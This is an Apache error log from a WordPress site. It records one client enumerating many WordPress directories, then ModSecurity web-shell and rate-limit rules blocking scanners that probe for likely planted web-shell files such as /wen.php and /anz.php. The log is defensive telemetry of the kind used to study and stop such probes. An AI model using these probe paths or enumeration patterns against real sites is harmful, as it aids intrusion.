[Sun Jan 04 19:46:54.213212 2026] [autoindex:error] [pid 5010:tid 5064] [client 193.37.32.90:47385] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/tinymce/langs/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Jan 04 19:46:54.765867 2026] [autoindex:error] [pid 5010:tid 5057] [client 193.37.32.90:47385] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/ectoplasm/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Jan 04 19:46:55.324509 2026] [autoindex:error] [pid 5010:tid 5042] [client 193.37.32.90:47385] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/group/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Jan 04 19:46:59.618425 2026] [autoindex:error] [pid 5010:tid 5045] [client 193.37.32.90:47385] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/interactivity-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Jan 04 19:47:02.180459 2026] [autoindex:error] [pid 5010:tid 5062] [client 193.37.32.90:47385] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Jan 04 19:47:06.597447 2026] [autoindex:error] [pid 5010:tid 5044] [client 193.37.32.90:47385] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/jquery/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Jan 04 19:47:07.093719 2026] [autoindex:error] [pid 5010:tid 5053] [client 193.37.32.90:47385] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Jan 04 19:47:07.602564 2026] [autoindex:error] [pid 5010:tid 5061] [client 193.37.32.90:47385] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Jan 04 19:47:19.470804 2026] [autoindex:error] [pid 5010:tid 5052] [client 193.37.32.90:47385] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Jan 04 19:47:21.900323 2026] [autoindex:error] [pid 5010:tid 5057] [client 193.37.32.90:47385] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Jan 04 19:47:22.388630 2026] [autoindex:error] [pid 5010:tid 5047] [client 193.37.32.90:47385] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Jan 04 19:47:23.889212 2026] [autoindex:error] [pid 5010:tid 5065] [client 193.37.32.90:47385] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Jan 04 19:47:24.403046 2026] [autoindex:error] [pid 5010:tid 5050] [client 193.37.32.90:47385] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Jan 04 19:47:24.899981 2026] [autoindex:error] [pid 5010:tid 5045] [client 193.37.32.90:47385] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Jan 04 19:47:32.461926 2026] [autoindex:error] [pid 5010:tid 5060] [client 193.37.32.90:47385] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/plugins/elementor/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Jan 04 19:48:20.616281 2026] [autoindex:error] [pid 5010:tid 5045] [client 193.37.32.90:47385] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/light/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Jan 04 19:48:21.171135 2026] [autoindex:error] [pid 5010:tid 5055] [client 193.37.32.90:47385] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/midnight/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Jan 04 19:48:21.650330 2026] [autoindex:error] [pid 5010:tid 5056] [client 193.37.32.90:47385] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/modern/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Jan 04 19:48:22.209850 2026] [autoindex:error] [pid 5010:tid 5059] [client 193.37.32.90:47385] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/ocean/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Jan 04 19:48:26.357941 2026] [autoindex:error] [pid 5010:tid 5049] [client 193.37.32.90:47385] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/uploads/2023/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Jan 04 19:48:26.868775 2026] [autoindex:error] [pid 5010:tid 5063] [client 193.37.32.90:47385] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/uploads/2024/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Jan 04 19:48:29.274033 2026] [autoindex:error] [pid 5010:tid 5041] [client 193.37.32.90:47385] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Jan 04 19:48:31.712949 2026] [autoindex:error] [pid 5010:tid 5057] [client 193.37.32.90:47385] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/crystal/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Jan 04 19:48:33.142594 2026] [autoindex:error] [pid 5010:tid 5065] [client 193.37.32.90:47385] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/media/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Jan 04 19:48:33.653458 2026] [autoindex:error] [pid 5010:tid 5045] [client 193.37.32.90:47385] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/smilies/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Jan 04 19:48:36.057882 2026] [autoindex:error] [pid 5010:tid 5049] [client 193.37.32.90:47385] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/codemirror/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Jan 04 19:48:36.645092 2026] [autoindex:error] [pid 5010:tid 5063] [client 193.37.32.90:47385] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/plupload/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Jan 04 19:48:37.222787 2026] [autoindex:error] [pid 5010:tid 5060] [client 193.37.32.90:47385] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/PHPMailer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Jan 04 19:48:37.864579 2026] [autoindex:error] [pid 5010:tid 5041] [client 193.37.32.90:47385] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sitemaps/providers/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Jan 04 19:49:24.397752 2026] [autoindex:error] [pid 5629:tid 5634] [client 193.37.32.75:46889] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/tinymce/plugins/fullscreen/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Jan 04 19:49:45.293281 2026] [autoindex:error] [pid 5629:tid 5651] [client 193.37.32.75:46889] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Jan 04 19:49:53.076844 2026] [autoindex:error] [pid 5629:tid 5646] [client 193.37.32.75:46889] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Jan 04 19:49:53.599220 2026] [autoindex:error] [pid 5629:tid 5653] [client 193.37.32.75:46889] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Jan 04 19:50:02.591382 2026] [autoindex:error] [pid 5629:tid 5642] [client 193.37.32.75:46889] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Jan 04 19:50:03.106563 2026] [autoindex:error] [pid 5629:tid 5648] [client 193.37.32.75:46889] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/IXR/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Jan 04 19:50:03.590131 2026] [autoindex:error] [pid 5629:tid 5647] [client 193.37.32.75:46889] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/SimplePie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Jan 04 19:50:04.094328 2026] [autoindex:error] [pid 5629:tid 5655] [client 193.37.32.75:46889] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Text/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Jan 04 19:50:04.540730 2026] [autoindex:error] [pid 5629:tid 5652] [client 193.37.32.75:46889] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Text/Diff/Renderer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Jan 04 19:50:05.027924 2026] [autoindex:error] [pid 5629:tid 5650] [client 193.37.32.75:46889] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/customize/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Jan 04 19:50:05.516145 2026] [autoindex:error] [pid 5629:tid 5654] [client 193.37.32.75:46889] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/fonts/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Jan 04 19:50:05.991377 2026] [autoindex:error] [pid 5629:tid 5651] [client 193.37.32.75:46889] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/pomo/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Jan 04 19:50:06.473798 2026] [autoindex:error] [pid 5629:tid 5646] [client 193.37.32.75:46889] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/rest-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Jan 04 19:50:44.477949 2026] [autoindex:error] [pid 5629:tid 5638] [client 193.37.32.75:46889] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/jcrop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Jan 04 19:51:10.384298 2026] [autoindex:error] [pid 5629:tid 5642] [client 193.37.32.75:46889] AH01276: Cannot serve directory /home/gigfrag/public_html/.tmb/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Jan 04 21:00:38.611871 2026] [:error] [pid 23968:tid 24014] [client 20.42.211.204:5265] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wen.php"] [unique_id "aVpkdmzpAzHWBUMs-z5_SQAAAhA"]
[Sun Jan 04 21:00:41.864085 2026] [:error] [pid 23904:tid 23945] [client 20.42.211.204:5229] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wen.php"] [unique_id "aVpkef3FRCMgI2cXAQE0RQAAAQk"]
[Sun Jan 04 21:00:43.184166 2026] [:error] [pid 21720:tid 21736] [client 20.42.211.204:5372] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wen.php"] [unique_id "aVpke35pkDWzwRcldOpNdAAAAI4"]
[Sun Jan 04 21:00:45.250680 2026] [:error] [pid 23967:tid 23978] [client 20.42.211.204:62787] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wen.php"] [unique_id "aVpkfT0PhjBsUtIi4VV_gwAAAYc"]
[Sun Jan 04 21:00:50.371871 2026] [:error] [pid 17268:tid 17283] [client 20.42.211.204:54160] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/anz.php"] [unique_id "aVpkgrPW8UB8HzRRfIdDoQAAAUw"]
[Sun Jan 04 21:01:00.077341 2026] [:error] [pid 23903:tid 23918] [client 20.42.211.204:5345] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/anz.php"] [unique_id "aVpkjD_yzB-omvQP-LLLKwAAAMk"]
[Sun Jan 04 21:01:11.524721 2026] [:error] [pid 1297:tid 1315] [client 20.42.211.204:5248] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bnn_.php"] [unique_id "aVpklxf98x0RBG23Pjfi1wAAABA"]
[Sun Jan 04 21:01:59.904254 2026] [:error] [pid 23967:tid 23971] [client 20.42.211.204:5361] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sef.php"] [unique_id "aVpkxz0PhjBsUtIi4VV_1gAAAYA"]
[Sun Jan 04 21:03:02.984409 2026] [:error] [pid 1297:tid 1317] [client 4.194.49.38:38215] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/IMlikd8XOHn.php"] [unique_id "aVplBhf98x0RBG23PjfjGAAAABI"]
[Sun Jan 04 21:03:03.817811 2026] [:error] [pid 23967:tid 23984] [client 4.194.49.38:34951] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/IMlikd8XOHn.php"] [unique_id "aVplBz0PhjBsUtIi4VWAEAAAAY0"]
[Sun Jan 04 21:03:05.895642 2026] [:error] [pid 23868:tid 23894] [client 4.194.49.38:34984] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/IMlikd8XOHn.php"] [unique_id "aVplCbbaf-JYFyQL_057PgAAAFI"]
[Sun Jan 04 21:03:07.064637 2026] [:error] [pid 23968:tid 24014] [client 4.194.49.38:34945] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/IMlikd8XOHn.php"] [unique_id "aVplC2zpAzHWBUMs-z5_6gAAAhA"]
[Sun Jan 04 21:03:08.803120 2026] [:error] [pid 23903:tid 23923] [client 4.194.49.38:38252] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ol.php"] [unique_id "aVplDD_yzB-omvQP-LLLtQAAAM4"]
[Sun Jan 04 21:03:09.729958 2026] [:error] [pid 23967:tid 23992] [client 4.194.49.38:34995] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ol.php"] [unique_id "aVplDT0PhjBsUtIi4VWAFAAAAZU"]
